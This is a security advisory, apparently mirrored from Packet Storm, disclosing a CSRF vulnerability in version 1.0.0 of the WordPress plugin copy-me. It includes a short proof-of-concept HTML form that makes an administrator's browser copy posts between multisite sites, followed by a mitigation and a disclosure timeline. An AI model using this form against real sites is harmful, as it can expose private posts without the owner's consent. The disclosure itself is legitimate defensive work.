WordPress Copy-Me 1.0.0 Cross Site Request Forgery

Type packetstorm
Reporter Tom Adams
Modified 2016-12-21T00:00:00


Software: copy-me  
Version: 1.0.0  
Homepage: http://wordpress.org/plugins/copy-me/  
Advisory report: https://security.dxw.com/advisories/copy-me-vulnerable-to-csrf-allowing-unauthenticated-attacker-to-copy-posts/  
CVE: Awaiting assignment  
CVSS: 4.3 (Medium; AV:N/AC:M/Au:N/C:N/I:P/A:N)  
copy-me vulnerable to CSRF allowing unauthenticated attacker to copy posts  
This plugin does not use nonces. Copying posts couldA allow taking a secret post from a non-public site within a multisite installation and moving it to a public site.  
Proof of concept  
Click submit and itall copy post with ID 1 to blog/site with ID 1:  
<form method=\"POST\" action=\"http://localhost/wp-admin/admin-ajax.php\">  
<input type=\"text\" name=\"action\" value=\"copyme_copy_item\">  
<input type=\"text\" name=\"id\" value=\"1\">  
<input type=\"text\" name=\"target\" value=\"1\">  
<input type=\"submit\">  
DisableA the plugin. No fixed version is known.  
Disclosure policy  
dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/disclosure/  
Please contact us on security@dxw.com to acknowledge this report if you received it via a third party (for example, plugins@wordpress.org) as they generally cannot communicate with us on your behalf.  
This vulnerability will be published if we do not receive a response to this report with 14 days.  
2016-11-01: Discovered  
2016-12-07: Reported to vendor via contact form: http://www.alancesarini.com/en/contact-2/  
2016-12-07: Requested CVE  
2016-12-21: Vendor has not respondedA after 14 days  
2016-12-21: Published  
Discovered by dxw:  
Tom Adams  
Please visit security.dxw.com for more information.